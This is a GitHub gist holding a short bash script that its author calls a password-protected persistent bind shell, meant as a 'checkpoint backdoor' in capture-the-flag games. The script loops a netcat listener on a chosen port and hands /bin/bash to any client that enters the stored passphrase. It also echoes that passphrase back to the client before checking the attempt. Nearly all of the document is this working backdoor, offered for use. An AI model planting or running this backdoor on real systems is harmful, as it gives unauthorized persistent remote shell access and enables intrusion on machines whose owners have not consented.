Created
September 19, 2019 17:56
-
-
Save ignis-sec/bbafc5fccceb61196130d274066454fc to your computer and use it in GitHub Desktop.
Persistent bind shell with a password, to use as a checkpoint backdoor in ctfs.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
ENDSOCK=0 | |
trap 'let ENDSOCK=1' INT | |
if [ $1 != "-sh" ]; | |
then | |
read -p "passphrase: " PASSWD | |
echo -n $PASSWD > .checkpoint.txt | |
chmod 600 .checkpoint.txt | |
while [ $ENDSOCK != 1 ] | |
do | |
nc -lknvp $1 -c "$0 -sh" | |
done | |
else | |
PASSWD=`cat .checkpoint.txt` | |
read -p "Gimme password or gimme liberty" PASSATMPT | |
echo "passwd: $PASSWD" | |
echo "atmpt: $PASSATMPT" | |
if [ "$PASSATMPT" != "$PASSWD" ]; | |
then | |
echo "Get off my lawn." | |
else | |
/bin/bash 2>&1 | |
fi | |
fi |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment